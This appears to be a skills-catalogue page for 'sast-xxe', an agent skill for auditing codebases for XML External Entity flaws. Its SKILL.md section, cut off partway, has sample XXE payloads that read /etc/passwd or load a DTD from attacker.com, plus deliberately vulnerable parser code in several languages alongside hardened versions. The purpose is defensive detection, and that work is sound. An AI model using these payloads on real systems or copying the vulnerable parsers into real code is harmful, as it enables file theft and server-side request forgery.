sast-xxe
Detect XML External Entity (XXE) vulnerabilities in a codebase using a three-phase approach: recon (find XML parsing sites without external-entity hardening), batched verify (trace user input to each site in parallel subagents, 3 sites each), and merge (consolidate batch results).
Install / Use
npx skills add utkusen/sast-skills --skill sast-xxeInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
SecuritySupported Platforms
Our assessment of sast-xxe
sast-xxe scores 89/100 on our quality scale, 496th of 971 Security skills we index.
Its SKILL.md is 28 KB long, well organised into 31 sections with 20 code examples: a thorough specification that gives an agent plenty to work with.
With 1,321 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated about 6 months ago. That is recent enough to be usable, but agent tooling moves fast, so check the instructions against your agent's current version.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 98/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.
sast-xxe compared with similar skills
All 4 of these similar skills score higher than sast-xxe; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| sast-xxe (this skill)by utkusen | 89 | 1.3k | 6mo ago | SKILL.md |
| algorithmic-artby anthropics | 100 | 177.9k | 8d ago | SKILL.md |
| pptxby anthropics | 100 | 177.9k | 8d ago | SKILL.md |
| designby nextlevelbuilder | 100 | 130.2k | 9d ago | SKILL.md |
| ui-ux-pro-maxby nextlevelbuilder | 100 | 130.2k | 9d ago | SKILL.md |
Frequently asked questions
- How do I install sast-xxe?
- Run
npx skills add utkusen/sast-skills --skill sast-xxe. The install tabs above show the steps for each supported agent. - Which AI agents does sast-xxe work with?
- It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is sast-xxe safe to use?
- It is MIT-licensed and scores 98/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is sast-xxe still maintained?
- The repository was last updated about 6 months ago. That is recent enough to be usable, but agent tooling moves fast, so check the instructions against your agent's current version.
Skill content
View source on GitHubname: sast-xxe description: >- Detect XML External Entity (XXE) vulnerabilities in a codebase using a three-phase approach: recon (find XML parsing sites without external-entity hardening), batched verify (trace user input to each site in parallel subagents, 3 sites each), and merge (consolidate batch results). Requires sast/architecture.md (run sast-analysis first). Outputs findings to sast/xxe-results.md. Use when asked to find XXE or XML injection bugs.
XML External Entity (XXE) Detection
You are performing a focused security assessment to find XXE vulnerabilities in a codebase. This skill uses a three-phase approach with subagents: recon (find XML parsing sites where external entities are not safely disabled), batched verify (trace whether user-supplied input reaches those parsers, in parallel batches of 3), and merge (consolidate batch results into one report).
Prerequisites: sast/architecture.md must exist. Run the analysis skill first if it doesn't.
What is XXE
XXE occurs when an XML parser processes a document containing a reference to an external entity and the parser has external entity resolution enabled. An attacker who can supply XML input can use this to read arbitrary local files, perform server-side request forgery (internal network probing), trigger denial-of-service via entity expansion (Billion Laughs), or in some stacks execute OS commands.
The core pattern: user-controlled XML reaches an XML parser that has not disabled DTD processing or external entity resolution.
What XXE IS
- XML parsed with external entity resolution enabled by default and no explicit hardening applied
SYSTEMentity declarations that referencefile://orhttp://URIs:<!ENTITY xxe SYSTEM "file:///etc/passwd">- DTD processing not explicitly disabled in parsers where it is on by default (Java DOM/SAX, PHP SimpleXML/DOMDocument, libxml2-backed parsers)
- Parameter entity injection in DTDs:
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe; - XInclude injection when XInclude processing is enabled
- SSRF via XXE: using
http://orhttps://external entity URLs to reach internal services - Blind XXE via out-of-band exfiltration (DNS, HTTP callback to attacker-controlled server)
What XXE is NOT
Do not flag these as XXE:
- XSS via XML: XML data rendered as HTML without escaping — that's XSS
- SSRF via non-XML: HTTP requests triggered by other mechanisms — that's SSRF
- XML parsing of fully server-controlled data: Config files, bundled resources, migration scripts with no user influence — not exploitable
- Safe parsers: Libraries that disable external entities by default and provide no way to re-enable them (e.g.
defusedxmlin Python,nokogiriwith default settings in Ruby for untrusted input)
Patterns That Prevent XXE
When you see these patterns, the parser is likely not vulnerable:
1. Disabling DTD / external entities (Java DOM)
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
2. Disabling external entities (Java SAX)
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
3. Disabling external entities (Java StAX / XMLInputFactory)
XMLInputFactory xif = XMLInputFactory.newInstance();
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
4. Python — defusedxml (always safe)
import defusedxml.ElementTree as ET
tree = ET.parse(source) # external entities, DTD, entity expansion all blocked
5. Python — lxml with resolve_entities=False
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)
tree = etree.parse(source, parser)
6. PHP — libxml_disable_entity_loader (PHP < 8.0) / LIBXML_NONET flag
libxml_disable_entity_loader(true); // PHP 7.x — disables external entity loading
$doc = new DOMDocument();
$doc->loadXML($xml, LIBXML_NOENT | LIBXML_NONET); // LIBXML_NONET blocks network
// Note: LIBXML_NOENT alone EXPANDS entities — it does NOT disable them
7. .NET — XmlReaderSettings with DtdProcessing.Prohibit
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
settings.XmlResolver = null;
XmlReader reader = XmlReader.Create(stream, settings);
8. Node.js — xml2js (safe by default in v0.5+)
const xml2js = require('xml2js');
// xml2js does not resolve external entities by default — safe
xml2js.parseString(xmlInput, callback);
Vulnerable vs. Secure Examples
Python — stdlib xml.etree.ElementTree (vulnerable by default in CPython < 3.8 / expat quirks)
# VULNERABLE: ElementTree parses DTDs; stdlib does NOT protect against all XXE
import xml.etree.ElementTree as ET
def parse_data(request):
xml_data = request.body
tree = ET.fromstring(xml_data) # no hardening — expat may resolve entities
return process(tree)
# SECURE: use defusedxml drop-in replacement
import defusedxml.ElementTree as ET
def parse_data(request):
xml_data = request.body
tree = ET.fromstring(xml_data) # defusedxml blocks all XXE vectors
return process(tree)
Python — lxml
# VULNERABLE: lxml resolves external entities by default
from lxml import etree
def parse_upload(request):
data = request.body
tree = etree.fromstring(data) # external entities resolved, network access allowed
return render(tree)
# SECURE: disable entity resolution and network access
from lxml import etree
def parse_upload(request):
data = request.body
parser = etree.XMLParser(resolve_entities=False, no_network=True, load_dtd=False)
tree = etree.fromstring(data, parser)
return render(tree)
Java — DocumentBuilder (DOM)
// VULNERABLE: default DocumentBuilder resolves external entities
@PostMapping("/import")
public ResponseEntity<?> importXml(@RequestBody String xml) throws Exception {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new InputSource(new StringReader(xml)));
return ResponseEntity.ok(process(doc));
}
// SECURE: disable DTD and external entity features
@PostMapping("/import")
public ResponseEntity<?> importXml(@RequestBody String xml) throws Exception {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setExpandEntityReferences(false);
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new InputSource(new StringReader(xml)));
return ResponseEntity.ok(process(doc));
}
Java — SAXParser
// VULNERABLE: default SAXParser allows external entities
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
parser.parse(inputStream, handler);
// SECURE: disable external entities
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
SAXParser parser = factory.newSAXParser();
parser.parse(inputStream, handler);
Java — XMLInputFactory (StAX)
// VULNERABLE: default XMLInputFactory supports external entities
XMLInputFactory xif = XMLInputFactory.newInstance();
XMLStreamReader xsr = xif.createXMLStreamReader(inputStream);
// SECURE: disable external entity support
XMLInputFactory xif = XMLInputFactory.newInstance();
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
XMLStreamReader xsr = xif.createXMLStreamReader(inputStream);
PHP — SimpleXML / DOMDocument
// VULNERABLE: simplexml_load_string with no entity loader disabled
function parseXml($xml) {
return simplexml_load_string($xml); // resolves external entities
}
// VULNERABLE: DOMDocument without protection
function parseXml($xml) {
$doc = new DOMDocument();
$doc->loadXML($xml); // external entities enabled by default
return $doc;
}
// SECURE (PHP 7.x): disable entity loader before parsing
function parseXml($xml) {
libxml_disable_entity_loader(true);
$doc = new DOMDocument();
$doc->loadXML($xml, LIBXML_NONET);
return $doc;
}
.NET — XmlDocument / XmlTextReader
// VULNERABLE: XmlDocument with default XmlUrlResolver resolves external entities
XmlDocument doc = new XmlDocument();
doc.Load(stream); // external entities resolved
// VULNERABLE: XmlTextReader (legacy) — DTD processing on by default in old .NET
XmlTextReader reader = new XmlTextReader(stream);
// SECURE: XmlDocument with null resolver and prohibited DTD
XmlDocument doc = new XmlDocument();
doc.XmlResolver = null; // disables external entity resolution
doc.Load(stream);
// SECURE: XmlReader with DtdProcessing.Prohibit
XmlReaderSettings settings = new XmlReaderSettings {
DtdProcessing = DtdProcessing.Prohibit,
XmlResolver = null
};
XmlReader reader = XmlReader.Create(stream, settings);
Node.js — libxmljs
// VULNERABLE: libxmljs parses with entity resolution on by default
const libxml = require('libxmljs');
app.post('/parse', (req, res) => {
const doc = libxml.parseXmlString(req.body);
res.send(doc.toString());
});
// SAFER: no built-in safe flag — avoid libxmljs for untrusted input entirely
// Prefer xml2js or a non-libxml2-backed parser
Ruby — Nokogiri
# VULNERABLE: Nokogiri with NOENT option enables entity substitution
def parse_xml(xml_input)
Nokogiri::XML(xml_input) { |config| config.noent }
end
# SECURE: default Nokogiri (no options) — safe for untrusted input
def parse_xml(xml_input)
Nokogiri::XML(xml_input)
end
Go — encoding/xml
// VULNERABLE: Go's encoding/xml does not resolve external entities
// but if combined with a third-party parser like etree with network enabled:
import "github.com/beevik/etree"
func parseXML(data []byte) {
doc := etree.NewDocument()
doc.ReadFromBytes(data) // check library's entity resolution behaviour
}
// Go's standard encoding/xml: does not resolve external entities — generally safe.
// Flag only if a third-party XML library with entity support is used.
Execution
This skill runs in three phases using subagents. Pass the contents of sast/architecture.md to all subagents as context.
Phase 1: Find Vulnerable XML Parsing Sites
Launch a subagent with the following instructions:
Goal: Find every location in the codebase where XML is parsed without external entity resolution being explicitly disabled. Write results to
sast/xxe-recon.md.Context: You will be given the project's architecture summary. Use it to understand the tech stack, XML libraries in use, and any XML-accepting endpoints.
What to search for — vulnerable XML parsing patterns:
Flag any XML parsing call where there is **no adjacent, pair
Truncated for display — read the full file on GitHub.
Related Skills
algorithmic-art
177.9kCreating algorithmic art using p5.js with seeded randomness and interactive parameter exploration. Use this when users request creating art using code, generative art, algorithmic art, flow fields, or particle systems.
pptx
177.9kUse this skill any time a .pptx or .potx file is involved in any way — as input, output, or both. This includes: creating slide decks, pitch decks, or presentations; reading, parsing, or extracting text from any .pptx or .potx file (even if the extracted content will be used elsewhere, like in an em…
design
130.2kComprehensive design skill: brand identity, design tokens, UI styling, logo generation (55 styles, Gemini, Atlas Cloud, or MuAPI AI), corporate identity program (50 deliverables, CIP mockups), HTML presentations (Chart.js), banner design (22 styles, social/ads/web/print), icon design (15 styles, SVG…
ui-ux-pro-max
130.2kUI/UX design intelligence for web, mobile, and desktop. This skill should be used when designing, building, reviewing, or fixing interfaces, including pages, components, design systems, accessibility, interaction, responsive layout, typography, color, charts, and stack-specific UI implementation.
Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.
